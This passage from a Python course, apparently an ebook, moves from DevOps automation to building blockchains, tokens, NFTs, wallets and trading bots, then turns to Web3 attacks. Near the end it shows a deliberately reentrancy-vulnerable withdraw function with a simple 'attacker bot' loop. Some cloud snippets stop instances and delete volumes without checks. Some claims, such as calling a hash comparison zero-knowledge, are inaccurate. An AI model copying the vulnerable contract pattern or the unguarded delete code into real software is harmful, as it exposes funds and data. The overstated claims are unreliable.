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 ✔ enforce policies​
 ✔ auto shutdown 

Python does: 

✔ cost API queries​
 ✔ alerts​
 ✔ schedule shutdown of dev servers​
 ✔ resize over-provisioned resources​
 ✔ detect unused volumes​
 ✔ auto delete unused LB’s​
 ✔ auto stop idle EC2 

 

⭐ 60.1 AWS Cost Explorer with Python 

ce = boto3.client("ce") 

 

result = ce.get_cost_and_usage( 

    TimePeriod={"Start":"2025-01-01","End":"2025-01-31"}, 

    Granularity="DAILY", 

    Metrics=["UnblendedCost"] 

) 

print(result) 

 

 

⭐ 60.2 Auto Shutdown Idle EC2 Instances 

for i in ec2.instances.all(): 

    if i.state["Name"] == "running" and not i.monitoring: 
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        i.stop() 

 

 

⭐ 60.3 Delete Unused Volumes 

for v in ec2.volumes.all(): 

    if len(v.attachments)==0: 

        v.delete() 

 

 

⭐ 61. Python for Service Mesh Automation (Istio/Linkerd) 

Service mesh: 

✔ Observability​
 ✔ Traffic splitting​
 ✔ mTLS​
 ✔ Zero-trust​
 ✔ Canary testing​
 ✔ Fault injection 

Python automates: 

✔ apply manifests​
 ✔ update configs​
 ✔ inject faults​
 ✔ traffic shifting 
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⭐ 61.1 Traffic Split with Istio 

subprocess.run(["kubectl","apply","-f","traffic-split.yaml"]) 

 

 

⭐ 61.2 Enable mTLS Automatically 

policy = """ 

apiVersion: security.istio.io/v1beta1 

kind: PeerAuthentication 

metadata: 

  name: default 

spec: 

  mtls: 

    mode: STRICT 

""" 

open("mtls.yaml","w").write(policy) 

 

 

⭐ 62. Python for API Gateway Automation (AWS/API 

Gateway/NGINX/Envoy) 

API Gateway tasks: 
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✔ create routes​
 ✔ add rate limits​
 ✔ add auth​
 ✔ rotate API keys​
 ✔ deploy new versions 

Python script: 

apigw.create_rest_api(name="myapi") 

 

Nginx route builder: 

open("nginx.conf","w").write(conf_template) 

 

 

⭐ 63. Python for Service Discovery + Sidecars 

Implement: 

✔ Consul registration​
 ✔ Service health checks​
 ✔ Key-value config​
 ✔ Envoy sidecar injection 

Example Consul automation: 

requests.put("http://consul/v1/agent/service/register", json=service_data) 
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⭐ 64. Python for Event-Driven DevOps 

(Kafka/SQS/PubSub) 

Event-driven automation → extremely powerful. 

Examples: 

✔ “new build event → auto deploy”​
 ✔ “alert event → auto scale up”​
 ✔ “CI event → tag version” 

 

⭐ 64.1 Kafka Consumer in Python 

pip install kafka-python 

 

from kafka import KafkaConsumer 

 

consumer = KafkaConsumer("devops-events") 

for msg in consumer: 

    print(msg.value) 

 

 

⭐ 64.2 AWS SQS Listener 

sqs = boto3.client("sqs") 

msgs = sqs.receive_message(QueueUrl=url) 
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⭐ 65. Python for AIOps Automation 

AIOps = AI + DevOps + SRE​
 Python can add ML intelligence: 

✔ anomaly detection​
 ✔ trend forecasting​
 ✔ auto-alert suppression​
 ✔ root cause prediction​
 ✔ event correlation​
 ✔ predictive auto-scaling 

Basic anomaly detection: 

import numpy as np 

 

values = np.array(cpu_list) 

if values[-1] > values.mean() + 3*values.std(): 

    print("ANOMALY DETECTED") 

 

 

⭐ 66. Python for Chaos Engineering 

Chaos testing = introduce failures intentionally. 

Examples: 

✔ kill containers​
 ✔ spike CPU​
 ✔ drop network packets​
 ✔ corrupt disk​
 ✔ simulate node crash 
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⭐ 66.1 Kill a Docker Container Randomly 

import random 

container = random.choice(client.containers.list()) 

container.kill() 

 

 

⭐ 66.2 CPU Stress (Chaos) 

subprocess.run(["stress","--cpu","4"]) 

 

 

⭐ 67. Python for Edge/IoT DevOps Automation 

IoT DevOps tasks: 

✔ firmware deployment​
 ✔ remote monitoring​
 ✔ log extraction​
 ✔ OTA updates​
 ✔ device provisioning 

Example push firmware: 

sftp.put("firmware.bin","/flash/update.bin") 

 

 

⭐ 68. Python for Cloud Security Automation 

Automated checks: 
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✔ public S3 bucket detection​
 ✔ IAM misconfig detection​
 ✔ security group audit​
 ✔ secret rotation​
 ✔ CIS benchmark scans​
 ✔ CVE scanning​
 ✔ compliance reports 

 

⭐ 68.1 Find Public S3 Buckets 

for b in s3.list_buckets()["Buckets"]: 

    acl = s3.get_bucket_acl(Bucket=b["Name"]) 

    for grant in acl["Grants"]: 

        if grant["Grantee"].get("URI","").endswith("/AllUsers"): 

            print("PUBLIC BUCKET:", b["Name"]) 

 

 

⭐ 68.2 Rotate IAM Keys Automatically 

iam.update_access_key(UserName="dev", AccessKeyId=key, Status='Inactive') 

 

 

⭐ 69. Python for Compliance & Policy Enforcement 

✔ SOC2​
 ✔ ISO27001​
 ✔ NIST​
 ✔ CIS​
 ✔ PCI​
 ✔ HIPAA 
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Example: "No unencrypted bucket allowed" 

enc = s3.get_bucket_encryption(Bucket=b)["ServerSideEncryptionConfiguration"] 

 

 

⭐ 70. Python for End-to-End DevOps Architect Automation 

Python can glue together: 

✔ GitOps​
 ✔ CI/CD​
 ✔ K8s​
 ✔ Prometheus​
 ✔ AIOps​
 ✔ Chaos​
 ✔ FinOps​
 ✔ Observability​
 ✔ Secrets management​
 ✔ Compliance 

Your skillset is now complete. 

 

MODULE 6 — PYTHON FOR BLOCKCHAIN, WEB3 & 

CRYPTO ENGINEERING 

PART 1 — Blockchain Fundamentals + Create Blockchain From Scratch 

 

⭐ 1. What is Blockchain? (Crystal Clear Explanation) 

A blockchain is: 
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✔ A decentralized database​
 ✔ Shared across multiple computers​
 ✔ With no central controller​
 ✔ where blocks store transactions​
 ✔ each block is cryptographically linked​
 ✔ immutable once added​
 ✔ tamper-proof​
 ✔ verifiable​
 ✔ transparent 

Blockchain provides: 

●​ Security via hashing​
 

●​ Immutability via chain hashing​
 

●​ Decentralization via peer nodes​
 

●​ Consensus via mining/proof-of-work​
 

●​ Trustlessness via cryptography​
 

Python is PERFECT for blockchain because: 

✔ easy​
 ✔ powerful​
 ✔ supports cryptography​
 ✔ ideal for simulation​
 ✔ perfect for rapid prototyping 

You will build your own blockchain system. 
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⭐ 2. Blockchain Architecture — FULL Breakdown 

A blockchain has: 

⭐ Block 

Contains: 

●​ index​
 

●​ timestamp​
 

●​ transactions​
 

●​ previous hash​
 

●​ current hash​
 

●​ proof (nonce)​
 

⭐ Transaction 

A record of an action (like payment). 

⭐ Chain 

A sequence of blocks. 

⭐ Consensus 

Rules for accepting the next block. 

⭐ Proof of Work 

Find a number (nonce) to satisfy hash condition. 
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⭐ Nodes 

Each copy of blockchain. 

⭐ Mining 

Creating new blocks. 

⭐ Network 

Nodes sharing updates. 

 

⭐ 3. Build a Blockchain From Scratch (Python) 

Let’s build the simplest blockchain. 

 

⭐ 3.1 Import Dependencies 

import hashlib 

import time 

import json 

 

 

⭐ 3.2 Block Structure 

class Block: 

    def __init__(self, index, transactions, previous_hash, nonce=0): 

        self.index = index 

        self.timestamp = time.time() 

        self.transactions = transactions 
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        self.previous_hash = previous_hash 

        self.nonce = nonce 

        self.hash = self.compute_hash() 

 

    def compute_hash(self): 

        block_string = json.dumps(self.__dict__, sort_keys=True) 

        return hashlib.sha256(block_string.encode()).hexdigest() 

 

 

⭐ 3.3 Blockchain Class 

class Blockchain: 

    difficulty = 4  # PoW difficulty 

 

    def __init__(self): 

        self.unconfirmed_transactions = [] 

        self.chain = [] 

        self.create_genesis_block() 

 

    def create_genesis_block(self): 

        genesis = Block(0, [], "0") 

        self.chain.append(genesis) 
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⭐ 3.4 Proof of Work (PoW) 

def proof_of_work(self, block): 

    block.nonce = 0 

    while not block.compute_hash().startswith("0" * Blockchain.difficulty): 

        block.nonce += 1 

    return block.compute_hash() 

 

 

⭐ 3.5 Add Block to Chain 

def add_block(self, block, proof): 

    previous_hash = self.chain[-1].hash 

 

    if previous_hash != block.previous_hash: 

        return False 

 

    if not proof.startswith("0" * Blockchain.difficulty): 

        return False 

 

    block.hash = proof 

    self.chain.append(block) 

    return True 
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⭐ 3.6 Add New Transactions 

def add_new_transaction(self, tx): 

    self.unconfirmed_transactions.append(tx) 

 

 

⭐ 3.7 Mine Block 

def mine(self): 

    if not self.unconfirmed_transactions: 

        return False 

 

    last_block = self.chain[-1] 

 

    block = Block( 

        index=last_block.index + 1, 

        transactions=self.unconfirmed_transactions, 

        previous_hash=last_block.hash 

    ) 

 

    proof = self.proof_of_work(block) 

    self.add_block(block, proof) 

 

    self.unconfirmed_transactions = [] 

    return block.index 
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⭐ 4. Create Full REST API for Your Blockchain 

We’ll use Flask. 

Install: 

pip install flask 

 

 

⭐ 4.1 Create the API 

from flask import Flask, request 

 

app = Flask(__name__) 

blockchain = Blockchain() 

 

 

⭐ 4.2 API — Add Transaction 

@app.route("/transaction", methods=["POST"]) 

def add_transaction(): 

    tx = request.get_json() 

    blockchain.add_new_transaction(tx) 

    return "Transaction added!", 201 
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⭐ 4.3 API — Mine Block 

@app.route("/mine", methods=["GET"]) 

def mine_block(): 

    result = blockchain.mine() 

    return {"message": "Block mined", "index": result} 

 

 

⭐ 4.4 API — Get Chain 

@app.route("/chain", methods=["GET"]) 

def full_chain(): 

    data = [block.__dict__ for block in blockchain.chain] 

    return {"length": len(data), "chain": data} 

 

 

Now you have a fully working blockchain with mining and API. 

This is the foundation for everything we build next: 

✔ cryptocurrency​
 ✔ wallets​
 ✔ mining rewards​
 ✔ peer-to-peer network​
 ✔ smart contract simulation​
 ✔ blockchain explorer 
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⭐ 5. Build Your Own Cryptocurrency (Python Coin) 

Let’s name it: 

🔥 CyberDudeBivashCoin (CDBC) 🔥 

Add fields to transaction: 

●​ sender​
 

●​ recipient​
 

●​ amount​
 

Add mining rewards. 

 

⭐ 5.1 Transaction Structure 

tx = { 

  "sender": "Alice", 

  "recipient": "Bob", 

  "amount": 50 

} 

 

 

⭐ 5.2 Mining Reward 

MINING_REWARD = 10 

 

def mine(self): 

481 



 

 

    self.unconfirmed_transactions.append({ 

        "sender": "SYSTEM", 

        "recipient": "MINER_ADDRESS", 

        "amount": MINING_REWARD 

    }) 

 

This creates your own currency, macha. 

 

⭐ 6. Python Wallets (Public/Private Keys) 

Install: 

pip install ecdsa 

 

 

⭐ 6.1 Generate Wallet Keys 

from ecdsa import SigningKey, SECP256k1 

 

private_key = SigningKey.generate(curve=SECP256k1) 

public_key = private_key.get_verifying_key() 

 

print("Private:", private_key.to_string().hex()) 

print("Public:", public_key.to_string().hex()) 
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⭐ 6.2 Sign Transactions 

signature = private_key.sign(b"hello") 

print(signature.hex()) 

 

 

⭐ 6.3 Verify Signature 

public_key.verify(signature, b"hello") 

 

This is EXACTLY how Bitcoin/Ethereum wallets work. 

 

⭐ 7. Build Python Crypto Wallet App 

A wallet must: 

✔ generate keys​
 ✔ store keys​
 ✔ sign transactions​
 ✔ send transactions​
 ✔ verify ownership 

You now know all pieces. 

 

⭐ 8. Build a Peer-to-Peer Blockchain Network 

(Decentralized) 

Use Flask + Requests. 

Nodes share: 

483 



 

 

✔ new blocks​
 ✔ chain updates​
 ✔ transactions 

 

⭐ 9. Build Smart Contracts System (Python Simulation) 

A smart contract is just: 

✔ code​
 ✔ that executes on blockchain​
 ✔ with deterministic behavior 

We simulate Ethereum smart contracts in Python. 

 

⭐ 10. Integrate Python With REAL Smart Contracts 

(Web3.py) 

Install: 

pip install web3 

 

Connect to Ethereum: 

from web3 import Web3 

w3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/API_KEY")) 

 

 

484 



 

 

⭐ 10.1 Deploy Smart Contract Using Python 

contract = w3.eth.contract(abi=ABI, bytecode=BYTECODE) 

tx_hash = contract.constructor().transact({"from": wallet}) 

 

 

⭐ 10.2 Interact With Smart Contract 

contract.functions.balanceOf(wallet).call() 

 

 

⭐ 11. Build Your Own Python Crypto Trading Bot 

Supports: 

✔ SMA​
 ✔ EMA​
 ✔ RSI​
 ✔ Bollinger bands​
 ✔ Momentum trading​
 ✔ Breakout strategies​
 ✔ Arbitrage​
 ✔ Grid trading​
 ✔ Binance/Bybit APIs 

Install: 

pip install python-binance 
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⭐ Example: Simple Buy/Sell Bot 

from binance.client import Client 

 

client = Client(API_KEY, SECRET) 

 

ticker = client.get_symbol_ticker(symbol="BTCUSDT") 

print(ticker) 

 

 

⭐ 12. Python Blockchain Security Tools 

Build tools for: 

✔ transaction monitoring​
 ✔ wallet brute-force protection​
 ✔ invalid block detection​
 ✔ tamper detection​
 ✔ chain validation​
 ✔ mempool scanning​
 ✔ smart contract vulnerabilities​
 ✔ price manipulation alerts 

 

⭐ 13. Final Major Project of Module 6 

You will build: 

⭐ CyberDudeBivash Blockchain Suite 

Includes: 
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✔ Blockchain​
 ✔ Cryptocurrency​
 ✔ Wallet​
 ✔ Miner​
 ✔ Smart Contract Simulator​
 ✔ P2P Network​
 ✔ Explorer​
 ✔ Trading Bot​
 ✔ Security Monitoring​
 ✔ CLI + Dashboard 

This is a FULL Web3 product built in Python. 

 

⭐ MODULE 6 — PART 2 

🚀 ADVANCED BLOCKCHAIN, SMART CONTRACTS, 

DAPPs, NFTs & CRYPTO SECURITY 

 

⭐ 14. Deep Dive Into Smart Contracts (Crystal Clear) 

A smart contract is: 

✔ code that runs on blockchain​
 ✔ immutable​
 ✔ decentralized​
 ✔ trustless​
 ✔ auto-executing​
 ✔ governed by consensus 

Smart contracts = backend logic of blockchain apps. 

They manage: 
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●​ tokens​
 

●​ NFTs​
 

●​ DAOs​
 

●​ payments​
 

●​ identity​
 

●​ verification​
 

●​ voting​
 

●​ staking​
 

●​ DeFi​
 

Blockchain = state machine.​
 Smart contract = logic to update state. 

 

⭐ 15. Solidity — The Smart Contract Language of 

Ethereum 

Solidity runs inside the Ethereum Virtual Machine (EVM). 

You will learn: 

✔ variables​
 ✔ functions​
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 ✔ modifiers​
 ✔ mappings​
 ✔ storage vs memory​
 ✔ events​
 ✔ inheritance​
 ✔ payable​
 ✔ fallback​
 ✔ ERC20 tokens​
 ✔ ERC721 NFTs​
 ✔ DeFi smart contracts​
 ✔ security best practices 

Let’s start. 

 

⭐ 16. Solidity Basics (FAST & CLEAR) 

Basic Contract: 

// SPDX-License-Identifier: MIT 

pragma solidity ^0.8.0; 

 

contract Hello { 

    string public message; 

 

    constructor() { 

        message = "Hello Blockchain!"; 

    } 

 

    function setMessage(string memory newMsg) public { 

        message = newMsg; 
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    } 

} 

 

 

Storage Keywords: 

Keyword Location Lifetime 

storage blockchain permanent 

memory temporary per function 

calldata read-only inputs function call 

 

⭐ 17. Build an ERC20 Token (Your OWN Cryptocurrency) 

Let’s create: 

🔥 CDB Token (CyberDudeBivash Token) 

 

ERC20 Contract: 

pragma solidity ^0.8.0; 

 

contract CDBToken { 

    string public name = "CyberDudeBivash Token"; 

    string public symbol = "CDB"; 

    uint8 public decimals = 18; 

    uint public totalSupply; 
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    mapping(address => uint) public balanceOf; 

 

    event Transfer(address indexed from, address indexed to, uint value); 

 

    constructor(uint initialSupply) { 

        totalSupply = initialSupply * 10**decimals; 

        balanceOf[msg.sender] = totalSupply; 

    } 

 

    function transfer(address to, uint value) public returns(bool) { 

        require(balanceOf[msg.sender] >= value); 

        balanceOf[msg.sender] -= value; 

        balanceOf[to] += value; 

        emit Transfer(msg.sender, to, value); 

        return true; 

    } 

} 

 

This is exactly how new tokens launch every day on Ethereum. 

 

⭐ 18. Build an ERC721 NFT Contract 

Let’s build: 

🔥 CyberDudeBivash NFT Collection 
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ERC721 Basic Contract: 

pragma solidity ^0.8.0; 

 

import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 

 

contract CDBNFT is ERC721 { 

    uint public nextId; 

 

    constructor() ERC721("CyberDudeBivash NFT", "CDBNFT") {} 

 

    function mint() public { 

        _safeMint(msg.sender, nextId); 

        nextId++; 

    } 

} 

 

Now you can mint unlimited NFTs. 

 

⭐ 19. Interact With Smart Contracts Using Python 

(Web3.py) 

Install: 

pip install web3 
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⭐ Connect to Ethereum Node 

from web3 import Web3 

 

w3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/API_KEY")) 

print(w3.isConnected()) 

 

 

⭐ Load Contract ABI 

abi = json.load(open("cdb_abi.json")) 

contract = w3.eth.contract(address=address, abi=abi) 

 

 

⭐ Read Token Data 

name = contract.functions.name().call() 

symbol = contract.functions.symbol().call() 

balance = contract.functions.balanceOf(wallet).call() 

 

 

⭐ Send Transaction (Token Transfer) 

tx = contract.functions.transfer(to, amount).buildTransaction({ 

    "from": wallet, 
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    "nonce": w3.eth.getTransactionCount(wallet) 

}) 

 

This is exactly how Python interacts with Web3. 

 

⭐ 20. Build Full DApp Backend Using Python (Web3 + 

Flask) 

We will create: 

✔ User authentication​
 ✔ Wallet connection​
 ✔ Smart contract calls​
 ✔ NFT minting backend​
 ✔ Token transfers​
 ✔ Gas price estimation​
 ✔ Blockchain event listeners 

 

⭐ Basic DApp Backend 

from flask import Flask, request 

from web3 import Web3 

 

app = Flask(__name__) 

w3 = Web3(Web3.HTTPProvider("https://rpc.ankr.com/eth")) 

 

@app.get("/balance/<address>") 

def balance(address): 
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    return {"balance": w3.eth.get_balance(address)} 

 

 

⭐ 21. Build a Crypto Wallet in Python (Full Implementation) 

Your wallet must: 

✔ generate seed phrase​
 ✔ derive keys​
 ✔ manage addresses​
 ✔ sign transactions​
 ✔ broadcast transactions​
 ✔ maintain balance​
 ✔ manage tokens 

Use: 

pip install bip-utils 

 

 

⭐ Generate 12-Word Seed Phrase 

from bip_utils import Bip39MnemonicGenerator 

 

mnemonic = Bip39MnemonicGenerator().FromWordsNumber(12) 

print(mnemonic) 

 

 

⭐ Generate Ethereum Wallet From Seed 

from bip_utils import Bip39SeedGenerator, Bip44, Bip44Coins 
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seed = Bip39SeedGenerator(mnemonic).Generate() 

wallet = Bip44.FromSeed(seed, Bip44Coins.ETHEREUM) 

acc = wallet.Purpose().Coin().Account(0).Change(0).AddressIndex(0) 

 

print("Address:", acc.PublicKey().ToAddress()) 

print("Private:", acc.PrivateKey().Raw().ToHex()) 

 

This is identical to MetaMask. 

 

⭐ 22. Build NFT Minting Automation Tool (Python) 

Upload images → mint → upload metadata → store on IPFS. 

Install: 

pip install ipfshttpclient 

 

 

⭐ Upload to IPFS 

import ipfshttpclient 

 

client = ipfshttpclient.connect() 

res = client.add("image.png") 

print(res["Hash"]) 
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⭐ Mint NFT From Python 

tx = contract.functions.mint().buildTransaction({ 

    "from": wallet 

}) 

 

 

⭐ 23. Build Full Crypto Trading Bot (Advanced) 

Supports: 

✔ RSI​
 ✔ EMA​
 ✔ MACD​
 ✔ Bollinger​
 ✔ Volume breakout​
 ✔ AI-based signals​
 ✔ Stop-loss / take-profit​
 ✔ Arbitrage detection 

 

⭐ RSI in Python 

def rsi(data, period=14): 

    delta = data.diff() 

    gain = delta.clip(lower=0).rolling(period).mean() 

    loss = -delta.clip(upper=0).rolling(period).mean() 

    rs = gain / loss 

    return 100 - (100 / (1 + rs)) 
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⭐ Binance API Trading 

from binance.client import Client 

client = Client(API_KEY, SECRET) 

 

order = client.order_market_buy(symbol="BTCUSDT", quantity=0.001) 

 

 

⭐ 24. Blockchain Cybersecurity — Attacks & Defense 

Attacks: 

✔ replay attacks​
 ✔ front-running​
 ✔ flash loan attacks​
 ✔ reentrancy​
 ✔ overflow/underflow​
 ✔ timestamp attacks​
 ✔ oracle manipulation​
 ✔ MEV attacks​
 ✔ private key theft​
 ✔ DoS on contracts​
 ✔ signature forgery 

We will cover ALL. 
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⭐ 25. Reentrancy Attack Simulation 

Classic vulnerable smart contract: 

mapping(address => uint) public balances; 

 

function withdraw() public { 

    uint amount = balances[msg.sender]; 

    (bool ok,) = msg.sender.call{value: amount}(""); 

    require(ok); 

    balances[msg.sender] = 0; 

} 

 

Attacker calls withdraw recursively. 

Python attacker bot: 

while True: 

    contract.functions.withdraw().transact({"from": attacker}) 

 

 

⭐ 26. Flash Loan Attack Simulation (Python) 

Using Aave smart contracts. 
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⭐ 27. Build Full Web3 Security Scanner (Python) 

Detect: 

✔ gas griefing​
 ✔ reentrancy​
 ✔ missing fallback​
 ✔ storage collision​
 ✔ insecure delegatecall​
 ✔ timestamp usage​
 ✔ underflow/overflow​
 ✔ low-level call misuse 

 

⭐ 28. Blockchain Explorer in Python 

Reads: 

✔ blocks​
 ✔ transactions​
 ✔ miners​
 ✔ balances​
 ✔ contracts​
 ✔ events 

 

⭐ 29. Real-Time Crypto Market Monitor 

ticker = client.get_ticker(symbol="BTCUSDT") 

 

Send alerts on: 

✔ pump​
 ✔ dump​
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 ✔ liquidation​
 ✔ whale trades 

 

⭐ MODULE 6 — PART 3 

🚀 BUILDING EVM, DEX, STAKING, DAO, L2 ROLLUPS, ZK, 

AND AI BLOCKCHAIN SYSTEMS 

 

⭐ 31. BUILD THE ETHEREUM VIRTUAL MACHINE (EVM) IN 

PYTHON 

The Ethereum Virtual Machine is: 

✔ stack-based​
 ✔ sandboxed​
 ✔ deterministic​
 ✔ executes bytecode​
 ✔ gas-metered​
 ✔ smart-contract execution engine 

We will build a mini-EVM. 

 

⭐ 31.1 EVM STACK MODEL 

The EVM uses: 

●​ a STACK (LIFO)​
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●​ memory​
 

●​ storage​
 

●​ program counter​
 

Operations (opcodes): 

●​ ADD​
 

●​ MUL​
 

●​ PUSH​
 

●​ POP​
 

●​ STORE​
 

●​ LOAD​
 

●​ JUMP​
 

●​ JUMPI​
 

Let’s build a simplified version. 

 

⭐ 31.2 Basic EVM Implementation (Python) 

class MiniEVM: 
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    def __init__(self): 

        self.stack = [] 

        self.memory = {} 

        self.pc = 0 

        self.code = [] 

 

    def execute(self, bytecode): 

        self.code = bytecode 

        while self.pc < len(bytecode): 

            op = bytecode[self.pc] 

 

            if op == "PUSH": 

                self.pc += 1 

                value = bytecode[self.pc] 

                self.stack.append(value) 

 

            elif op == "ADD": 

                a = self.stack.pop() 

                b = self.stack.pop() 

                self.stack.append(a + b) 

 

            elif op == "MUL": 

                a = self.stack.pop() 

                b = self.stack.pop() 
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                self.stack.append(a * b) 

 

            elif op == "POP": 

                self.stack.pop() 

 

            self.pc += 1 

 

        return self.stack 

 

 

⭐ 31.3 Test The EVM 

evm = MiniEVM() 

program = ["PUSH", 2, "PUSH", 3, "ADD"] 

print(evm.execute(program)) 

 

➡ Output: [5] 

You just built your own EVM core. 

 

⭐ 32. BUILD A DECENTRALIZED EXCHANGE (DEX) 

Like: 

✔ Uniswap​
 ✔ PancakeSwap​
 ✔ SushiSwap 
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DEX uses: 

✔ Automated Market Makers (AMM) 

Formula: 

x * y = k 

 

Where: 

●​ x = token A reserve​
 

●​ y = token B reserve​
 

●​ k = constant product​
 

Let’s build the core AMM smart contract logic in Python. 

 

⭐ 32.1 AMM Core Implementation 

class AMM: 

    def __init__(self, reserveA, reserveB): 

        self.reserveA = reserveA 

        self.reserveB = reserveB 

 

    def get_price(self): 

        return self.reserveA / self.reserveB 

 

    def swapAtoB(self, amountA): 
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        newA = self.reserveA + amountA 

        k = self.reserveA * self.reserveB 

        newB = k / newA 

        amountB = self.reserveB - newB 

 

        self.reserveA = newA 

        self.reserveB = newB 

        return amountB 

 

 

⭐ 32.2 Example Swap 

amm = AMM(1000, 1000) 

print(amm.swapAtoB(100)) 

 

This is EXACT same logic Uniswap uses. 

 

⭐ 33. BUILD STAKING + YIELD FARMING SYSTEM 

Staking allows users to lock tokens → earn rewards. 

Yield farming = providing liquidity to earn APY. 
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⭐ 33.1 Staking Contract Logic 

class Staking: 

    def __init__(self, rate=0.1): 

        self.rate = rate 

        self.stakes = {} 

        self.rewards = {} 

 

    def stake(self, user, amount): 

        self.stakes[user] = self.stakes.get(user, 0) + amount 

 

    def calculate_rewards(self, user): 

        amount = self.stakes.get(user, 0) 

        reward = amount * self.rate 

        self.rewards[user] = self.rewards.get(user, 0) + reward 

        return reward 

 

 

⭐ 33.2 Stake & Earn Flow 

st = Staking(0.05) 

st.stake("A", 100) 

print(st.calculate_rewards("A")) 
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⭐ 34. BUILD A DAO (DECENTRALIZED AUTONOMOUS 

ORGANIZATION) 

A DAO includes: 

✔ proposals​
 ✔ voting​
 ✔ governance token​
 ✔ quorum​
 ✔ execution logic 

Let’s build: 

🔥 CyberDudeBivashDAO 🤖 

 

⭐ 34.1 DAO Structure 

class DAO: 

    def __init__(self): 

        self.proposals = {} 

        self.votes = {} 

        self.current_id = 0 

 

    def create_proposal(self, text): 

        self.current_id += 1 

        self.proposals[self.current_id] = text 

        self.votes[self.current_id] = {"yes":0, "no":0} 
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        return self.current_id 

 

    def vote(self, pid, choice): 

        self.votes[pid][choice] += 1 

 

 

⭐ 34.2 Usage 

dao = DAO() 

pid = dao.create_proposal("Increase liquidity reward?") 

dao.vote(pid, "yes") 

dao.vote(pid, "no") 

print(dao.votes) 

 

 

⭐ 35. BUILD WEB3 IDENTITY (DID SYSTEM) 

DID = decentralized identity. 

Includes: 

✔ wallet-based identity​
 ✔ signatures for login​
 ✔ no passwords​
 ✔ full privacy 

Python handles: 
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●​ signing messages​
 

●​ verifying signatures​
 

●​ DID creation​
 

●​ DID Document management​
 

 

⭐ 35.1 Sign Message For Authentication 

signature = private_key.sign(b"LoginRequest123") 

 

Verify on backend: 

public_key.verify(signature, b"LoginRequest123") 

 

This is Web3 authentication. 

 

⭐ 36. BUILD LAYER-2 ROLLUP SYSTEM 

L2 = scalability solution. 

Two types: 

✔ Optimistic rollups​
 ✔ ZK-rollups 

A rollup: 
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●​ bundles many txs​
 

●​ compresses​
 

●​ posts to main chain​
 

●​ saves gas​
 

●​ increases throughput​
 

Let’s build Optimistic Rollup Simulator. 

 

⭐ 36.1 Rollup Batch Builder 

class Rollup: 

    def __init__(self): 

        self.batch = [] 

 

    def add_tx(self, tx): 

        self.batch.append(tx) 

 

    def commit(self): 

        root = hashlib.sha256(str(self.batch).encode()).hexdigest() 

        return root 
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⭐ 37. BLOCKCHAIN SCALING SIMULATOR 

Simulate: 

✔ block propagation​
 ✔ latency​
 ✔ forks​
 ✔ chain selection​
 ✔ throughput 

 

⭐ 37.1 Latency Simulator 

import random 

 

def simulate_latency(): 

    return random.randint(20, 200)  # ms 

 

 

⭐ 37.2 Block Finality Simulator 

def block_finality_time(tx_count): 

    return tx_count * 0.01 

 

 

512 



 

 

⭐ 38. BUILD PROOF-OF-STAKE CHAIN (POS 

BLOCKCHAIN) 

PoS: 

✔ validators stake coins​
 ✔ selected randomly​
 ✔ produce blocks​
 ✔ earn rewards 

Let’s build. 

 

import random 

 

class PoSBlockchain: 

    def __init__(self): 

        self.validators = {} 

 

    def stake(self, user, amount): 

        self.validators[user] = self.validators.get(user, 0) + amount 

 

    def select_validator(self): 

        total = sum(self.validators.values()) 

        rand = random.uniform(0, total) 

        current = 0 

 

        for user, stake in self.validators.items(): 
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            current += stake 

            if current >= rand: 

                return user 

 

 

⭐ 39. INTRO TO ZK-SNARKS WITH PYTHON 

ZK = zero-knowledge proofs. 

Meaning: 

✔ Prove something​
 ✔ Without revealing the secret 

Example: 

"I know password — without telling password." 

We simulate ZK hashing. 

 

⭐ 39.1 Simple ZK Hash Validation 

secret = "mypassword" 

hash_val = hashlib.sha256(secret.encode()).hexdigest() 

 

def prove_knowledge(proof): 

    return hashlib.sha256(proof.encode()).hexdigest() == hash_val 
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⭐ 40. AI × Blockchain — The Future 

Applications: 

✔ fraud detection​
 ✔ anomaly detection​
 ✔ smart-contract risk scoring​
 ✔ market prediction​
 ✔ MEV detection​
 ✔ sentiment analysis 

Example anomaly detection: 

import numpy as np 

 

if tx_amount > np.mean(history) + 3*np.std(history): 

    print("Suspicious transaction!") 

 

 

⭐ 41. FINAL MEGA PROJECT — CDB WEB3 ECOSYSTEM 

(FULL IMPLEMENTATION) 

You will build: 

✔ CyberDudeBivashChain (blockchain)​
 ✔ CDB Token (ERC20)​
 ✔ CDB NFT Collection (ERC721)​
 ✔ Wallet app​
 ✔ Miner​
 ✔ Full P2P network​
 ✔ Web3 backend API​
 ✔ DEX (AMM)​
 ✔ Staking + Farming​
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 ✔ DAO Governance​
 ✔ DID Identity​
 ✔ L2 rollup​
 ✔ Blockchain Security Scanner​
 ✔ Market Monitor​
 ✔ Trading Bot​
 ✔ Web3 Dashboard​
 ✔ and more! 

This is a FULL PRODUCT SUITE. 

You can launch this as a paid course or product under CyberDudeBivash brand. 

 

MODULE 6 — PART 4 

🚨 BLOCKCHAIN SECURITY, HACKING TECHNIQUES & 

DEFENSE ENGINEERING 

 

⭐ 42. Web3 Security Fundamentals 

Web3 runs on: 

✔ cryptography​
 ✔ decentralized protocols​
 ✔ smart contracts​
 ✔ open-source code​
 ✔ trustless execution 

This creates massive power​
 but also MASSIVE attack surface. 

The biggest risks: 
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●​ smart contract bugs​
 

●​ private key compromise​
 

●​ malicious validators​
 

●​ oracle manipulation​
 

●​ MEV​
 

●​ malicious flash loans​
 

●​ phishing​
 

●​ rug pulls​
 

●​ RPC/Node poisoning​
 

●​ replay attacks​
 

●​ signature replay​
 

●​ storage collision​
 

●​ reentrancy​
 

●​ supply chain attacks​
 

We will cover everything. 
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⭐ 43. Smart Contract Vulnerabilities (Complete List) 

Below is the modern 2025 smart-contract vulnerability list: 

🔥 CRITICAL VULNS 

✔ Reentrancy​
 ✔ Integer overflow/underflow​
 ✔ Missing access control​
 ✔ Delegatecall misuse​
 ✔ Unchecked external calls​
 ✔ Storage collision​
 ✔ Flash loan price manipulation​
 ✔ Oracle manipulation​
 ✔ Denial-of-service​
 ✔ Front-running​
 ✔ Timestamp dependence​
 ✔ Signature replay​
 ✔ Gas griefing​
 ✔ Visibility errors (public/internal)​
 ✔ Randomness exploit​
 ✔ Upgradeable contract vulnerabilities​
 ✔ Self-destruct misuse 

 

We will now simulate each one with: 

1.​ Exploit code​
 

2.​ Vulnerable contract​
 

3.​ Fix (secure version)​
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4.​ Python attacker simulation​
 

5.​ Defense strategies​
 

 

⭐ 44. Reentrancy Attack — FULL Simulation 

Vulnerable Contract: 

mapping(address => uint) public balances; 

 

